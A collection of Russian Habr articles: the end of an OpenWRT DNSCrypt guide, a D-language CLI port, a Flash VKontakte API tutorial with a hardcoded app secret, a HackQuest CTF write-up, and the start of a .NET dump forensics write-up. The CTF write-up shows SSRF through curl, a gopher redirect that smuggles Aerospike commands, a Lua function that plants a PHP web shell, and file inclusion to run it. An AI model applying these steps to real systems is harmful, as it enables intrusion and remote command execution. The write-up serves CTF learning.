Multiple packages (libc and libc) providing same name marked HOLD or PREFER. Using latest.
Configuring rng-tools.
24 Apr 11:22:24 ntpdate[2321]: adjust time server 91.203.172.2 offset -0.010429 sec
cp: omitting directory 'etc/config'
Если ошибок не было перегружаем OpenWRT:
```
root@metarouter:/tmp/files# reboot
```
После перезагрузки OpenWRT (~75 сек) заходим в консоль и проверяем, что dnscrypt-proxy запустился:
```
root@metarouter:/# netstat -anp
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:5353 0.0.0.0:* LISTEN 2150/dnscrypt-proxy
…
```
Проверяем работу DNSCrypt, например, что-нибудь разрезольвим:
```
root@metarouter:/# nslookup ya.ru
Server: 127.0.0.1
Address 1: 127.0.0.1 localhost
Name: ya.ru
Address 1: 2a02:6b8::2:242 ya.ru
Address 2: 87.250.250.242 ya.ru
```
На компьютере перезапускаем сетевой инт., смотрим в его настройки, убеждаемся, что в качестве адреса DNS сервера получен адрес нашего OpenWRT.
Если это так, задачу можно считать завершенной.
Работоспособность решения проверялась на 951/2011 моделях. | https://habr.com/ru/post/354710/ | null | ru | null |
# Портируем утилиту командной строки с Go/Rust на D
Несколько дней назад, на реддите в «программировании», [Paulo Henrique Cuchi поделился своим опытом разработки утилиты командной строки на Rust и на Go](https://cuchi.me/posts/go-vs-rust) ([перевод на Хабре](https://habr.com/ru/company/ruvds/blog/515674/)). Утилита, о которой идет речь, — это клиент для его пет-проекта Hashtrack. Hashtrack предоставляет GraphQL API, с помощью которого клиенты могут отслеживать определенные хэштэги твиттера и получать список соответствующих твитов в реальном времени. Будучи спровоцированным [комментарием](https://www.reddit.com/r/programming/comments/i3529m/writing_the_same_cli_application_twice_using_go/g09rnsy/), я решил написать порт на D, чтобы продемонстрировать, как D может быть использован для подобных целей. Я постараюсь сохранить ту же структуру, которую он использовал в своем блогпосте.
[Исходники на Гитхабе](https://github.com/azihassan/hashtrack-client)
[](https://asciinema.org/a/gGwiiNQPyAL7IZ6pmR6C6i1nv) Видео по клику
Как я пришел к D
----------------
Основная причина заключается в том, что в оригинальном блогпосте сравнивались статически типизированные языки, такие как Go и Rust, а также делались уважительные отсылки к Nim и Crystal, но не упоминался D, который так же подпадает в эту категорию. Потому я думаю, что это сделает сравнение интересным.
Мне также нравится D как язык, и я упоминал об этом в различных других блогпостах.
Локальная среда
---------------
[Руководство](https://dlang.org/download.html) содержит обширную информацию о том, как загрузить и установить эталонный компилятор, DMD. Пользователи Windows могут получить инсталлятор, в то время как пользователи MacOS могут использовать homebrew. На Ubuntu, я просто добавил apt-репозиторий и выполнил обычную установку. С помощью этого вы получите не только DMD, но и dub, менеджер пакетов.
Я установил Rust, чтобы иметь представление о том, как легко будет начать работать. Я был удивлён, насколько это просто. Мне нужно было только запустить [интерактивный инсталлятор](https://www.rust-lang.org/tools/install), который позаботился об остальном. Мне нужно было добавить ~/.cargo/bin в path. Следовало просто перезапустить консоль, чтобы изменения вступили в силу.
Поддержка редакторами
---------------------
Я написал Hashtrack в Vim без особых затруднений, но это, наверное, потому, что у меня есть некоторое представление о том, что происходит в стандартной библиотеке. У меня всегда была открыта документация, потому что временами я использовал символ, который не импортировал из нужного пакета, или же я вызывал функцию с неверными аргументами. Заметьте, что для стандартной библиотеки вы можете просто написать «import std;» и иметь все в своем распоряжении. Для сторонних библиотек, однако, вы сами по себе.
Мне было любопытно, в каком состоянии находится инструментарий, поэтому я изучил плагины для моей любимой IDE, Intellij IDEA. Я [нашел этот](https://github.com/intellij-dlanguage/intellij-dlanguage) и установил его. Я также установил DCD и DScanner, клонируя их соответствующие репозитории и собирая их, а затем настраивая плагин IDEA, чтобы указать правильные пути. Обратитесь к автору [этой заметки в блоге](http://www.samael.me.uk/2015/12/d-plugin-for-intellij-idea.html) за разъяснениями.
Сначала я столкнулся с несколькими проблемами, но они были исправлены после обновления IDE и плагина. Одна из проблем, с которой я столкнулся, заключалась в том, что она не могла распознать мои собственные пакеты и продолжала отмечать их как «возможно, неопределенные». Позже я обнаружил, что для того, чтобы они был распознаны, я должен был поместить «module имя\_модуля\_пакета;» вверху файла.
Я думаю, что все еще есть ошибка, что не распознается .length, по крайней мере, на моей машине. Я открыл проблему на Github, вы можете проследить за ней [здесь](https://github.com/intellij-dlanguage/intellij-dlanguage/issues/587), если вам любопытно.
Если вы в Windows, я слышал хорошее о [VisualD](https://github.com/rainers/visuald).
Управление пакетами
-------------------
Dub является дефакто менеджером пакетов в D. Он загружает и устанавливает зависимости с [code.dlang.org](https://code.dlang.org/). Для этого проекта мне нужен был HTTP клиент, потому что я не хотел использовать cURL. В итоге я получил две зависимости, requests и его зависимость, cachetools, который не имеет собственной зависимости. Однако, по каким-то причинам, он прихватил еще двенадцать зависимостей:

Я думаю, что Dub использует их для внутренних целей, но я не уверен насчет этого.
Rust загрузил много крейтов (*Прим.пер: 228*), но это, вероятно, потому, что версия на Rust имеет больше возможностей, чем моя. Например, он загрузил [rpassword](https://github.com/conradkleinespel/rpassword), инструмент, который скрывает символы пароля при вводе их в терминал, подобно функции getpass от Python. ~~Это одна из многих вещей, которых у меня нет в коде.~~ Я добавил [поддержку getpass](https://github.com/azihassan/hashtrack-client/pull/11) для Linux, благодаря [этой рекомендации](https://news.ycombinator.com/item?id=24222188). Я также добавил форматирование текста в терминале, благодаря экранирующим последовательностям, которые я скопировал из оригинального исходного кода Go.
Библиотеки
----------
Имея слабое представление о graphql, я понятия не имел, с чего начать. Поиск по «graphql» на code.dlang.org привел меня к соответствующей библиотеке, метко названной "[graphqld](https://github.com/burner/graphqld)". Однако после ее изучения мне показалось, что она больше похожа на плагин vibe.d, чем на реального клиента, если таковой есть.
После изучения сетевых запросов в Firefox, я понял, что для этого проекта я могу просто имитировать graphql-запросы и преобразования, которые я буду посылать с помощью HTTP-клиента. Ответы — это просто JSON-объекты, которые я могу разобрать с помощью инструментов, предоставляемых пакетом std.json. Помня об этом, я начал искать HTTP-клиенты и остановился на [requests](https://github.com/ikod/dlang-requests/), это простой в использовании HTTP-клиент, но, что более важно, достигший определенного уровня зрелости.
Я скопировал исходящие запросы от сетевого анализатора и вставил их в отдельные .graphql файлы, которые затем импортировал и отправил с соответствующими переменными. Большая часть функциональности была помещена в структуру GraphQLRequest, потому что я хотел вставить различные конечные точки и конфигурации в него, необходимые для проекта:
**Исходник**
```
struct GraphQLRequest
{
string operationName;
string query;
JSONValue variables;
Config configuration;
JSONValue toJson()
{
return JSONValue([
"operationName": JSONValue(operationName),
"variables": variables,
"query": JSONValue(query),
]);
}
string toString()
{
return toJson().toPrettyString();
}
Response send()
{
auto request = Request();
request.addHeaders(["Authorization": configuration.get("token", "")]);
return request.post(
configuration.get("endpoint"),
toString(),
"application/json"
);
}
}
```
**Вот фрагмент обмена пакетами. Следующий код обрабатывает аутентификацию :**
```
struct Session
{
Config configuration;
void login(string username, string password)
{
auto request = createSession(username, password);
auto response = request.send();
response.throwOnFailure();
string token = response.jsonBody
["data"].object
["createSession"].object
["token"].str;
configuration.put("token", token);
}
GraphQLRequest createSession(string username, string password)
{
enum query = import("createSession.graphql").lineSplitter().join("\n");
auto variables = SessionPayload(username, password).toJson();
return GraphQLRequest("createSession", query, variables, configuration);
}
}
struct SessionPayload
{
string email;
string password;
//todo : make this a template mixin or something
JSONValue toJson()
{
return JSONValue([
"email": JSONValue(email),
"password": JSONValue(password)
]);
}
string toString()
{
return toJson().toPrettyString();
}
}
```
Спойлер — я никогда не делал подобного ранее.
Все происходит так: функция main() создает из аргументов командной строки структуру Config и инжектирует ее в структуру Session, которая реализует функциональность команд входа, выхода из системы и статуса. Метод createSession() конструирует graphQL-запрос, читая реальный запрос из соответствующего .graphql-файла и передавая вместе с ним переменные. Я не хотел загрязнять исходный код graphQL-мутациями и запросами, поэтому переместил их в .graphql файлы, которые затем импортирую во время компиляции с помощью enum и import. Последний требует наличия флага компилятора для указания его на stringImportPaths (который по умолчанию имеет значение view/).
Что касается метода login(), его единственной обязанностью является отправка HTTP-запроса и обработка ответа. В этом случае он обрабатывает потенциальные ошибки, хотя и не очень тщательно. Затем он сохраняет токен в конфигурационном файле, который на самом деле является не более чем славным JSON-объектом.
Метод throwOnFailure не является частью основной функциональности библиотеки запросов. На самом деле это вспомогательная функция, которая делает быструю и грязную обработку ошибок:
```
void throwOnFailure(Response response)
{
if(!response.isSuccessful || "errors" in response.jsonBody)
{
string[] errors = response.errors;
throw new RequestException(errors.join("\n"));
}
}
```
Так как D поддерживает [UFCS](https://tour.dlang.org/tour/de/gems/uniform-function-call-syntax-ufcs), синтаксис throwOnFailure(response) может быть переписан как response.throwOnFailure(). Это делает его легко встраиваемым в другие вызовы методов, таких как send(). Возможно, я злоупотреблял этой функциональностью на протяжении всего проекта.
Обработка ошибок
----------------
D предпочитает исключения, когда дело доходит до обработки ошибок. Обоснование подробно объяснено [здесь](https://dlang.org/spec/errors.html#the_d_error_handling_solution). Одна из вещей, которая мне нравится, заключается в том, что необработанные ошибки в конце концов всплывут, если их не явно не заткнуть. Вот почему мне удалось уйти от упрощенной обработки ошибок. Например, в этих строках:
```
string token = response.jsonBody
["data"].object
["createSession"].object
["token"].str;
configuration.put("token", token);
```
Если тело ответа не содержит токен или любой из объектов, приводящих к нему, будет выброшено исключение, которое всплывет в основной функции, а затем взорвется перед лицом пользователя. Если бы я использовал Go, мне пришлось бы быть очень осторожным с ошибками на каждом этапе. И, честно говоря, так как писать если err!= null каждый раз при вызове функции раздражает, я бы очень соблазнился ошибку просто проигнорировать. Однако мое понимание Go примитивно, и я не удивлюсь, если компилятор облает вас за то, что вы ничего не делаете с возвратом ошибки, так что не стесняйтесь поправлять меня, если я ошибаюсь.
Обработка ошибок в стиле Rust, как объяснено в оригинальном блогпосте, была интересна. Я не думаю, что в стандартной библиотеке D есть что-то подобное, но были дискуссии о реализации подобного как сторонней библиотеки.
Websockets
----------
Я просто хочу кратко отметить, что я не использовал вебсокеты для реализации команды «watch». Я пытался использовать клиент websocket из Vibe.d, но он не смог работать с бэкэндом hashtrack, потому что продолжал закрывать соединение. В конце концов, я отказался от него в пользу циклического опроса, даже несмотря на то, что это осуждается. Клиент работает с тех пор, как я протестировал его с другим веб-сервером, так что я, возможно, вернусь к этому в будущем.
Непрерывная интеграция
----------------------
Для CI я настроил два сборочных задания: обычную сборку для бранчей и мастер — релиз, чтобы обеспечить загрузки оптимизированных сборок артефактов.


*Прим.пер. На картинках видно время на сборку. С учетом загрузки зависимостей. Пересборка без зависимостей ~4с*
Потребление памяти
------------------
Я использовал команду /usr/bin/time -v ./hashtrack --list для измерения использования памяти, как объяснялось в оригинальной блогпосте. Я не знаю, зависит ли использование памяти от хэштэгов, за которыми следит пользователь, но вот результаты программы на D, собранной с помощью dub build -b release:
> Maximum resident set size (kbytes): 10036
>
> Maximum resident set size (kbytes): 10164
>
> Maximum resident set size (kbytes): 9940
>
> Maximum resident set size (kbytes): 10060
>
> Maximum resident set size (kbytes): 10008
Неплохо. Я запустил версии Go и Rust с моим пользователем hashtrack'a и получил эти результаты:
Go, собранный с go build -ldflags "-s -w":
> Maximum resident set size (kbytes): 13684
>
> Maximum resident set size (kbytes): 13820
>
> Maximum resident set size (kbytes): 13904
>
> Maximum resident set size (kbytes): 13796
>
> Maximum resident set size (kbytes): 13600
>
>
Rust, собранный с cargo build --release:
> Maximum resident set size (kbytes): 9224
>
> Maximum resident set size (kbytes): 9192
>
> Maximum resident set size (kbytes): 9384
>
> Maximum resident set size (kbytes): 9132
>
> Maximum resident set size (kbytes): 9168
Upd: [пользователь реддита skocznymroczny рекомендовал](https://www.reddit.com/r/programming/comments/ice00l/porting_a_go_and_rust_tool_to_d/g23k55c/) также протестировать компиляторы LDC и GDC. Вот результаты:
LDC 1.22, собранный dub build -b release --compiler=ldc2 (уже после добавления цветного вывода и getpass)
> Maximum resident set size (kbytes): 7816
>
> Maximum resident set size (kbytes): 7912
>
> Maximum resident set size (kbytes): 7804
>
> Maximum resident set size (kbytes): 7832
>
> Maximum resident set size (kbytes): 7804
В D есть сборка мусора, но также поддерживаются умные указатели и, совсем недавно, [экспериментальная методология управления памятью](https://dlang.org/spec/ob.html), вдохновленная Rust. Я не совсем уверен, насколько хорошо эти функции интегрируются со стандартной библиотекой, поэтому я решил позволить GC обрабатывать память за меня. Я думаю, что результаты довольно неплохие, учитывая, что я не задумывался о потреблении памяти во время написания кода.
Размер бинарников
-----------------
> Rust, собранный cargo build --release: 7.0M
>
>
>
> D, собранный dub build -b release: 5.7M
>
>
>
> D, собранный dub build -b release --compiler=ldc2: 2.4M
>
>
>
> Go, собранный go build: 7.1M
>
>
>
> Go, [собранный go build -ldflags "-s -w"](https://stackoverflow.com/a/29600086/3729391): 5.0M
*Прим.пер. Здесь надо перепроверять — не очень понятно, где выполняется стрип отладочной информации, а где нет. Например у меня версия для Windows при сборке dub build -b release получается размером 2М для x64 (и 1.5M для x86-mscoff) и в них нет отладочных символов, а Rust версию на Ubuntu18 собрать не удалось из-за проблем с конфигурацией openssl, потому трудно сказать, как аукнулось огромное число зависимостей*
Заключение
----------
Я думаю, что D — надежный язык для написания подобных инструментов командной строки. Я не часто обращался к внешним зависимостям, потому что стандартная библиотека содержала большую часть того, что мне было нужно. Такие вещи, как разбор аргументов командной строки, обработка JSON, юнит-тестирование, отправка HTTP-запросов (с [cURL](https://dlang.org/phobos/std_net_curl.html)) — все это доступно в стандартной библиотеке. Если стандартной библиотеке не хватает того, что вам нужно, то пакеты сторонних разработчиков существуют, но я думаю, что в этой области еще есть место для улучшений. С другой стороны, если у вас менталитет NIH «изобретено не здесь», или если вы хотите с легкостью оказать влияние как разработчик с открытым исходным кодом, то вам определённо понравится экосистема D.
Причины, по которым я бы использовал D
* Да | https://habr.com/ru/post/517790/ | null | ru | null |
# Flash + вКонтакте API

По шагам описаны регистрация и создание flash приложения под социальную сеть вКонтакте, использующего вызовы вКонтакте API. Написан AS3 класс-обёртка для вКонтакте API.
[Приложение](http://vkontakte.ru/app1643226_52531344), процесс создания под катом.
В конце поста архив с кодом проекта.
#### Пункт 1. Регистрация приложения vKontakte
Для этого понадобится регистрация вас в контакте, процедура тривиальна, описывать смысла не имеет. После регистрации переходим по адресу <http://vkontakte.ru/gsearch.php?from=apps>, это общий список приложений. Вверху выбираем «создать приложение»

Заполняем название, описание, тип и переходим к загрузке приложения.

На данном этапе ваше приложение уже создано и зарегистрировано в базе. Следующий экран доступен для каждого созданного вами приложения. Описание важных элементов после картинки.

Синим выделена форма загрузки приложения. В отличие от facebook'a здесь надо загрузить приложение на сервер, а не указать внешний CanvasURL где оно лежит. Фиолетовым выделен так называемый «sandbox mode», — если приложение «выключено», то его смогут загрузить либо вы, либо ваши друзья, **и все запросы к нему должны содержать параметр «test\_mode=1»** (про параметры запроса см. ниже). Зелёным выделены поля, уникально идентифицирующие ваше приложение, они используются в запросах vKontakteAPI (см. ниже).
#### Пункт 2. ТЗ приложения под vKontakte API
Сверху написать «Привет, %username%», под приветствием показать список друзей.
Пара слов о вКонтакте API:
— вся документация доступна по адресу <http://vkontakte.ru/pages.php?id=2369267> (для чтения надо иметь аккаунт вКонтакте)
— линейные размеры flash приложения не должны превышать **607x590**
— больше трёх запросов в секунду от одного приложения обрубается.
#### Пункт 3. Написание приложения под vKontakte API
Написано под flex, класс-обёртка API не тянет за собой flex-компонентов, так что может быть использована в чистом flash.
Итак (описание класса VKontakteAPI в следующем пункте).
**main.mxml**
После старта приложения вызывает получение информации о текущем пользователе и список его друзей, далее получает информацию по друзьям и выводит их списком.
Здесь есть небольшая проблема. Информацию о текущем пользователе можно получить всегда, но вот список друзей приложение не получит, пока пользователь специально не укажет что этому приложению это делать можно. По-этому, полученные данные проверяются на наличие этой ошибки и пользователю предлагается разрешить доступ приложения к своим друзьям (state «enable\_friends»). Коды ошибок для каждой функции описаны на [странице документации](http://vkontakte.ru/pages.php?id=2369267).
код:
> `xml version=<font color="#A31515""1.0" encoding="utf-8"?>
>
> "http://www.adobe.com/2006/mxml"
>
> layout="absolute"
>
> width="607" height="590"
>
> applicationComplete="onAppStart()">
>
>
>
>
>
> Text,Label
>
> {
>
> color: "0xFFFFFF";
>
> font-size: 24;
>
> }
>
>
>
>
>
>
>
> "enable\_friends">
>
> "{mainContainer}"/>
>
> "lastChild">
>
>
> text="Приложение не может получить доступ к вашим друзьям. Вверху нажмите на 'Настройки' и в меню выберите 'Разрешить приложению доступ к друзьям'. После чего перегрузите страницу."
>
> selectable="false"
>
> horizontalCenter="0" verticalCenter="0"
>
> width="570" height="200"/>
>
>
>
>
>
>
>
>
>
>
> id="mainContainer"
>
> horizontalCenter="0" verticalCenter="0"
>
> width="590"
>
> maxHeight="570"
>
> horizontalAlign="center">
>
>
> id="userNameLabel"
>
> text="Привет, %username%"/>
>
> "friendsCaptionLabel" text="Ваши друзья:"/>
>
>
>
>
>
>
>
> <br/>
> <br/>
> import vkontakte.VKontakteAPI;<br/>
> <br/>
> <font color="#0000ff">private</font> <font color="#0000ff">function</font> onAppStart() : <font color="#0000ff">void</font><br/>
> {<br/>
> <font color="#008000">// pass flashvars to the vKontakte init</font><br/>
> VKontakteAPI.init(<font color="#0000ff">this</font>.parameters);<br/>
> <font color="#008000">// request user info for current user</font><br/>
> VKontakteAPI.getProfiles([VKontakteAPI.uid], onGetUserInfo);<br/>
> <font color="#008000">// request friends</font><br/>
> VKontakteAPI.getFriends(onGetFriends);<br/>
> }<br/>
> <br/>
> <font color="#0000ff">private</font> <font color="#0000ff">function</font> onGetUserInfo(result : Object) : <font color="#0000ff">void</font><br/>
> {<br/>
> <font color="#008000">// set user label text to the user first\_name + last\_name</font><br/>
> userNameLabel.text =<br/>
> <font color="#A31515">"Привет, "</font> +<br/>
> result.response[0].first\_name + <br/>
> <font color="#A31515">" "</font> +<br/>
> result.response[0].last\_name; <br/>
> }<br/>
> <br/>
> <font color="#0000ff">private</font> <font color="#0000ff">function</font> onGetFriends(result : Object) : <font color="#0000ff">void</font><br/>
> {<br/>
> <font color="#0000ff">if</font>(result.error)<br/>
> {<br/>
> <font color="#008000">// if app have not access to friends</font><br/>
> <font color="#0000ff">if</font>(result.error.error\_code == 7)<br/>
> {<br/>
> <font color="#008000">// tell user to allow access</font><br/>
> currentState = <font color="#A31515">"enable\_friends"</font>;<br/>
> <font color="#0000ff">return</font>;<br/>
> }<br/>
> <font color="#0000ff">return</font>;<br/>
> }<br/>
> <br/>
> <font color="#008000">// no error</font><br/>
> <br/>
> <font color="#008000">// have not friends</font><br/>
> <font color="#0000ff">if</font>(result.response.length <= 0)<br/>
> {<br/>
> <font color="#0000ff">var</font> no\_friends\_label : Label = <font color="#0000ff">new</font> Label();<br/>
> no\_friends\_label.text = <font color="#A31515">"их нет ("</font>;<br/>
> mainContainer.addChild(no\_friends\_label);<br/>
> <font color="#0000ff">return</font>;<br/>
> }<br/>
> <br/>
> <font color="#008000">// have friends, get info</font><br/>
> VKontakteAPI.getProfiles(result.response, onGetFriendsInfo);<br/>
> }<br/>
> <br/>
> <font color="#0000ff">private</font> <font color="#0000ff">function</font> onGetFriendsInfo(result : Object) : <font color="#0000ff">void</font><br/>
> {<br/>
> <font color="#0000ff">for</font>(<font color="#0000ff">var</font> i : <font color="#0000ff">int</font> = 0; i < result.response.length; i++)<br/>
> {<br/>
> <font color="#0000ff">var</font> friend\_label : Label = <font color="#0000ff">new</font> Label();<br/>
> friend\_label.text = result.response[i].first\_name + <font color="#A31515">" "</font> + result.response[i].last\_name;<br/>
> mainContainer.addChild(friend\_label);<br/>
> }<br/>
> }<br/>
> <br/>
>
>
>
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Пункт 4. vKontakte as3 API
Собственно, класс, который занимается формированием и отсылкой запросов к серверу вКонтакте
Обработка ошибок отсутствует, т.к. писался для проверки и неизвестно буду ли серьезно писать под вКонтакте.
APP\_SECRET доступен на странице редактирования приложения. API\_ID и USER\_ID заполнены для того, чтобы можно было локально отлаживаться. TEST\_MODE выставлен в 1, т.к. приложение пока в разработке и «выключено». В коде реального приложения это значение выставлено в 0.
> `public class VKontakteAPI
>
> {
>
> // application secret key
>
> private static const APP\_SECRET : String = "SuxPmMMxDj";
>
>
>
> // stored application id to use when running locally
>
> private static var API\_ID : String = "1643226";
>
> // stored user id to use when running locally
>
> private static var UID : String = "52531344";
>
> // test mode for running in sandbox mode
>
> // replace by "0" after switching application to public access
>
> private static var TEST\_MODE : String = "1";
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Имя функции говорит за себя, эти параметры включаются во все запросы. В качестве типа возвращаемых данных выбран json (по умолчанию xml)
Для работы с json используется библиотека [JSWOOF](http://www.waynemike.pwp.blueyonder.co.uk/jswoof/)
> `// return array of values included in all requests
>
> private static function getBaseValues() : Array
>
> {
>
> return [
>
> "api\_id=" + API\_ID,
>
> "v=2.0",
>
> "format=json",
>
> "test\_mode=" + TEST\_MODE
>
> ];
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Создание MD5 хеша запроса. По правилам вКонтакте он должен быть равен md5(UID+param1+...paramN+APP\_SECRET), причём параметры должны конкатенироваться в алфавитном порядке. Класс MD5 нагуглен.
> `// returns MD5 as required by vKontakte API
>
> private static function getMD5(values : Array) : String
>
> {
>
> // sort values alphabetically
>
> values.sort();
>
>
>
> var hash\_str : String = "";
>
> hash\_str += UID;
>
> for(var i : int = 0; i < values.length; i++)
>
> hash\_str += values[i];
>
> hash\_str += APP\_SECRET;
>
>
>
> return MD5.hex\_md5(hash\_str);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Создание URL запроса.
> `// combine request string
>
> private static function getRequestString(values : Array) : String
>
> {
>
> var request : String = "http://api.vkontakte.ru/api.php";
>
> for(var i : int = 0; i < values.length; i++)
>
> request += (i == 0 ? "?" : "&") + values[i];
>
> return request;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Главная функция, отсылающая запрос на сервер vkontakte. В ней к базовым параметрам запроса добавляется имя метода, дополнительные параметры (если есть). К параметрам также добавляется md5 вычисленный от них же.
Далее запускается URLLoader, который по завершении запроса парсит json строку в объект и отсылает этот объект в callback.
> `// main request function
>
> // method - vKontakteAPI method name (like "getUserInfo" or "getProfiles")
>
> // add\_values - addition method parameters (ex. for "getProfiles"
>
> // add\_values must contain list of uids like "uids=123,3124,3123")
>
> // callback - function called after completing request
>
> private static function makeRequest(method : String, add\_values : String, callback : Function) : void
>
> {
>
> // base values for all requests
>
> var values : Array = getBaseValues();
>
> // add method name
>
> values.push("method=" + method);
>
> // add additional values if have any
>
> if(add\_values)
>
> values.push(add\_values);
>
> // calculate md5 hash and add it to values array
>
> values.push("sig=" + getMD5(values));
>
>
>
> // request loader
>
> var loader : URLLoader = new URLLoader();
>
> // register listener for COMPLETE event
>
> loader.addEventListener(
>
> Event.COMPLETE,
>
> function (event : Event) : void
>
> {
>
> // extract loader from event
>
> var loader : URLLoader = URLLoader(event.target);
>
> // parse json data and pass it
>
> // to callback function
>
> callback(JParser.decode(loader.data));
>
> });
>
> // fire request with url created from values
>
> loader.load(new URLRequest(getRequestString(values)));
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Функция инициализации. Просто заполняет uid текущего пользователя из переданных flashvars.
> `// must be called at application start
>
> // to init API variables (or left default values when running locally)
>
> public static function init(flashvars : Object) : void
>
> {
>
> // if have viewer\_id in flashvars
>
> if(flashvars.viewer\_id)
>
> {
>
> // then it means that application started in vKontakte framework
>
> // update userID for user whos started application
>
> UID = flashvars.viewer\_id;
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Это всё что нужно для оборачивания функций vkontakte API.
Для примера, две функции, используемые в данном приложении.
> `// get basic user(s) data (uid, first\_name, last\_name) for provided uids array
>
> public static function getProfiles(uids : Array, callback : Function) : void
>
> {
>
> var uids\_str : String = "uids=" + uids[0];
>
> for(var i : int = 1; i < uids.length; i++)
>
> uids\_str += "," + uids[i];
>
> makeRequest("getProfiles", uids\_str, callback);
>
> }
>
>
>
> // returns friends of the current user
>
> public static function getFriends(callback : Function) : void
>
> {
>
> makeRequest("getFriends", null, callback);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Архив проекта под Eclipse+FlexBuilder доступен по [ссылке](http://www.rexxar.ru/habr/vk_test.zip), там же build.xml для сборки антом в консоли.
P.S.
На некоторых системах вместо своего имени и имен друзей выводятся кракозябры. Есть подозрение, что это из-за кодировки возвращаемого json объекта. Посему на vKontakte перезалито приложение, использующее «format=xml» в параметрах запроса. Соот-но данные приходят в XML формате, UTF-8 кодировка.
Линк на исходники XML версии — [тырк](http://www.rexxar.ru/habr/vk_test_xml.zip). | https://habr.com/ru/post/71814/ | null | ru | null |
# [PHDays HackQuest 2017] Anonymizer: SSRF или чем может быть опасен curl
Разбор задания Anonymizer (пока еще доступно [тут](https://anonymizer.rosnadzorcom.ru)) с PHDays HackQuest 2017.

После нажатия кнопки "GO" к сайту уходит такой запрос:

И в ответе мы видим содержимое запрошенного нами сайта:

Пробуем вместе google.com попросить Анонимайзер показать нам 127.0.0.1 и видим, что в ответе приходит главная страница Анонимайзера. Это означает, что IP-адрес хоста, к которому сервер отправляет запрос, никак не валидируется, и мы, пользуясь этим, можем поискать какой-нибудь интересный сервис, слушающий один из портов на локалхосте. Часто, если сервис слушает только локалхост, на нем не настраивают аутентификацию, что может сыграть нам на руку.
Для начала нам нужно просканировать доступные на 127.0.0.1 порты. Для этого напишем небольшой скрипт, который будет отправлять запросы вида `https://anonymizer.rosnadzorcom.ru/?url=127.0.0.1:&page=curl&submit=111` и отслеживать интересное поведение. В результате прогона скрипта оказалось, что при запросах к портам 3001 и 3003 соединение падает по таймауту.

Гугл показал, что порты 3000-3003 использует NOSQL СУБД [Aerospike](http://www.aerospike.com/docs/operations/configure/network).
Самый интересный для нас порт — 3000, т.к. по нему происходит управление СУБД, но сам протокол управления не текстовый (в отличие, например, от Redis). Здесь нам поможет то, что Анонимайзер запрашивает веб-страницы с помощью curl, который имеет богатейшее применение для SSRF (вот [один из лучших мануалов по эксплуатации SSRF с помощью curl](https://hackerone.com/reports/115748)).
Мы будем использовать то, что curl поддерживает протокол Gopher, который позволяет слать с помощью curl любые данные по TCP с помощью запроса вида `gopher:///` (удобно, правда?). А для того, чтобы избежать возможных проблем с фильтрацией протокола на стороне сервера, воспользуемся трюком с переадресацией: будем делать запросы к нашему веб-серверу, на котором будет лежать такой скрипт:
```
php
header('Location: gopher://127.0.0.1:3000/<url-encoded-data');
?>
```
Т.к. протокол взаимодействия с Aerospike бинарный, чтобы не тратить время на его разбор, поднимем эту СУБД у себя на хосте и посмотрим, какой трафик передает утилита управления aql при различных запросах. Например, вот трафик, соответствующий запросу "SHOW NAMESPACES".

Запихаем байты из дампа трафика в заголовок `Location` и сравним результат выполнения запроса штатными средствами на тестовой СУБД.

и на тасковой СУБД через SSRF.

По-моему, выглядит довольно похоже.
После небольших плясок вокруг СУБД стало понятно, что флага в самой БД нет. Значит, надо его доставать из файловой системы. Т.к. работать с ФС в стоковой конфигурации Aerospike нельзя, надо придумать способ заливки и активации php-шелла. Здесь нам поможет уязвимость Local File Inclusion, возникшая из-за отсутствия фильтрации содержимого параметра `page`.

И так, у нас есть способ активации шелла, осталось только доставить его на хост. Кстати придется возможность создания в Aerospike User Defined Functions, написанных на LUA. Пишем функцию, которая запишет шелл по адресу /var/www/html/sl4v.php.
```
function hello_world()
file = io.open("/var/www/html/sl4v.php", "w")
file:write("php if(isset($_REQUEST['cmd'])){echo '<pre'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '
```
'; die;}?>")
file:close()
return "1"
end
С помощью функций `REGISTER MODULE` и `EXECUTE .() ON [.]` создаем и запускаем UDF на тестовой базе, пишем трафик, посылаем запрос через SSRF и видим, что UDF выполнилась, но с ошибкой.

Похоже, что СУБД не имеет прав на запись в папку `/var/www/html/`, но имеет права на запись в папку `opt/aerospike/usr/udf/lua/`. Остается только перезалить шелл с правильным путем и немного поискать флаг.

Спасибо за внимание! | https://habr.com/ru/post/328782/ | null | ru | null |
# Испытание по криминалистической экспертизе дампа .NET
[](https://habr.com/ru/company/ruvds/blog/598573/)
Это испытание с [MetaCTF CyberGames 2021](https://metactf.com/cybergames), в рамках которого нужно было выполнить криминалистическую экспертизу дампа памяти .NET. Проведение такой экспертизы может быть многим незнакомо, так что, надеюсь, данная статься окажется полезной.
Вход в NET
----------
В качестве торжественного финала пришло время объединить все ваши навыки криминалистической экспертизы. Вам предстоит немного поработать с Криптографией и Реверс-инжинирингом, а также с большим объемом Анализа.
В этой задаче сбор [перехваченных пакетов](https://metaproblems.com/5450f756cf49545a1061e7d28ee45d1a/step_into_the_net.pcapng) и [дампа процесса](https://metaproblems.com/5450f756cf49545a1061e7d28ee45d1a/step_into_the_net.7z) предлагаемого вам для рассмотрения маячка мы взяли на себя.
С целью предоставления нашему руководству необходимой ясности, мы хотим знать конкретно, какие действия атакующие предпринимали на этой особо ценной машине (имейте ввиду – здесь дамп/перехваченные пакеты отличаются от всех предыдущих задач). Поэтому, чтобы воссоздать картину произошедшего, вам потребуется сопоставить информацию в перехваченных пакетах и извлечь необходимые критические данные из дампа памяти.
Решение
-------
### Анализ пакетов
Для начала рассмотрим перехват пакетов с помощью *wireshark*, чтобы понять, с чем мы имеем дело.

Здесь я сходу замечаю два интересующих нас пакета:

`GET /en-us/docs.html` вызывает интерес, потому что сразу же следом мы наблюдаем отправку большого объема данных. При этом я не придаю значения `GET /latest/meta-data/instance-action`, так как это что-то о сервере EC2 AWS, который по случайности был оставлен.

Чтобы увидеть, как рассматриваемые пакеты задействованы во всем сеансе, используем `follow http stream`.


